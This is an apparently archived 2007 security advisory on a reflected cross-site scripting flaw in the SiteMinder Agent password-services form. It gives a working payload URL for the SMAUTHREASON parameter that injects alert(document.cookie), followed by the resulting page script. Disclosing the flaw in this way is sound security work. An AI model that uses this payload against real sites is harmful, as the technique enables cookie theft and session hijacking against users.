SiteMinder Agent suffers from cross site scripting vulnerabilities.
913578418723ce1d7fc6a17b8379b86e3fbc7f81742bbd87fd8fec2e2caffff9# Exploit in [XSS]:
https://www.example.com/siteminderagent/forms/smpwservices.fcc?SMAUTHREASON=[XSS]
# Cross Site Scripting (Code):
https://www.example.com/siteminderagent/forms/smpwservices.fcc?SMAUTHREASON=1)alert(document.cookie);}function+drop(){if(0
In this way we can inject the alert() code without brackets in the
function resetCredFields().
-------------------------------
function resetCredFields()
{
if (1)
{
alert(document.cookie);
}
}
function drop(){
if( 0 == 0 || 1)
{
alert(document.cookie);
}
}
function drop(){
if( 0 == 4 || 1)
{
alert(document.cookie);
}
}
function drop(){
if( 0 == 5 || 1)
{
alert(document.cookie);
}
}
function drop(){
if( 0 == 28 || 1)
{
alert(document.cookie);
}
}
function drop(){
if( 0 == 30 )
{
document.PWChange.PASSWORD.value = '';
}
else if (1)
{
alert(document.cookie);
}
}
function drop(){
if( 0 == 1 || 1)
{
alert(document.cookie);
}
}
function drop(){
if( 0 == 18 || 1)
{
alert(document.cookie);
}
}
function drop(){
if( 0 == 20 || 1)
{
alert(document.cookie);
}
}
function drop(){
if( 0 == 22 || 1)
{
alert(document.cookie);
}
}
function drop(){
if( 0 == 31 || 1)
{
alert(document.cookie);
}
}
function drop(){
if( 0 == 34)
{
document.PWChange.NEWPASSWORD.value = '';
document.PWChange.CONFIRMATION.value = '';
}
}
...
<BODY bgcolor='#ffffff' text='#000000' onLoad = 'resetCredFields();'>
-------------------------------
Regards,
Giuseppe Gottardi (aka oveRet)
---
Giuseppe Gottardi
Senior Security Engineer at Communication Valley S.p.A.
E-mail: overet@securitydate.it
Web: http://overet.securitydate.it
Wednesday November 07, 2007.
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed